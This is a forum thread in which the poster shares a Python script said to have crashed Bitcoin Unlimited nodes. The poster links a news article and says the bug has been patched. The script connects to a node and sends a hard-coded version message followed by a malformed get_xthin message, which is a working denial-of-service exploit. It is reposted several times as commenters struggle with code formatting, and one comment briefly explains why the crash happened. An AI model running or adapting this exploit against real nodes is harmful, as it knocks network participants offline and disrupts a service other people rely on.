6

Here is an article about it.

And here is what did it:

#!/usr/bin/env python
import binascii
import socket
import time
import sys
import argparse

BUFFER_SIZE = 1024
VERSION = binascii.unhexlify("f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000")
GET_XTHIN = binascii.unhexlify("f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001")

if len(sys.argv) > 2:
TCP_PORT = int(sys.argv[2])
TCP_IP = sys.argv[1]
elif len(sys.argv) > 1:
TCP_PORT = 8333
TCP_IP = sys.argv[1]
else:
print "Usage: %s ip [port]" % sys.argv[0]
exit(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(VERSION)

data = s.recv(BUFFER_SIZE)
time.sleep(1)

s.send(GET_XTHIN)
time.sleep(1)
s.close()

print "received data:", data

Apparently they have patched it now.

[Here is an article about it.](http://www.coindesk.com/code-bug-exploit-bitcoin-unlimited-nodes/) And here is what did it: ``` #!/usr/bin/env python import binascii import socket import time import sys import argparse BUFFER_SIZE = 1024 VERSION = binascii.unhexlify("f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000") GET_XTHIN = binascii.unhexlify("f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001") if len(sys.argv) > 2: TCP_PORT = int(sys.argv[2]) TCP_IP = sys.argv[1] elif len(sys.argv) > 1: TCP_PORT = 8333 TCP_IP = sys.argv[1] else: print "Usage: %s ip [port]" % sys.argv[0] exit(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) s.send(VERSION) data = s.recv(BUFFER_SIZE) time.sleep(1) s.send(GET_XTHIN) time.sleep(1) s.close() print "received data:", data ``` Apparently they have patched it now.

7 comments

[–] pembo210 2 points (+2|-0) Edited
!/usr/bin/env python
import binascii import socket import time import sys import argparse
BUFFER_SIZE = 1024 VERSION = binascii.unhexlify("f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000") GET_XTHIN = binascii.unhexlify("f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001")
if len(sys.argv) > 2: TCP_PORT = int(sys.argv[2]) TCP_IP = sys.argv[1] elif len(sys.argv) > 1: TCP_PORT = 8333 TCP_IP = sys.argv[1] else: print "Usage: %s ip [port]" % sys.argv[0] exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) s.send(VERSION)
data = s.recv(BUFFER_SIZE) time.sleep(1)
s.send(GET_XTHIN) time.sleep(1) s.close()
print "received data:", data 
[–] PMYA [OP] 1 points (+1|-0)

How the fuck did you do that

[–] pembo210 2 points (+2|-0)

add en extra line break between code blocks

[–] phoxy 0 points (+0|-0) Edited

The code formatting might be more useful if it could contain paragraphs and literal formatting.

For example

`code line 1
code line 2

code para 2 line 1`

Currently renders like this:

`code line 1 code line 2

code para 2 line 1`

To make it work the code tags need to be like this and you have to do the double space at the end of each line for a line break.

`code line 1
code line 2`

`code para 2 line 1`

Renders:

code line 1 code line 2

code para 2 line 1

[–] phoxy 0 points (+0|-0)

#!/usr/bin/env python import binascii import socket import time import sys import argparse

BUFFER_SIZE = 1024 VERSION = binascii.unhexlify("f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000") GET_XTHIN = binascii.unhexlify("f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001")

if len(sys.argv) > 2: TCP_PORT = int(sys.argv[2]) TCP_IP = sys.argv[1] elif len(sys.argv) > 1: TCP_PORT = 8333 TCP_IP = sys.argv[1] else: print "Usage: %s ip [port]" % sys.argv[0] exit(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) s.send(VERSION)

data = s.recv(BUFFER_SIZE) time.sleep(1)

s.send(GET_XTHIN) time.sleep(1) s.close()

print "received data:", data

[–] pembo210 2 points (+2|-0)

Basically from what i got from a few places, The nodes have responses programmed that they give depending of what was asked of them and there was no final "Sorry, Dave I can't do that" message as a catchall. So when they told it to do something not on the list of responses, it crashed.

[–] PMYA [OP] 1 points (+1|-0) Edited

Oh dear, looks like there is something screwing up formatting.

Edit: Jesus fucking christ. @Polsaker you might want to take a look at this.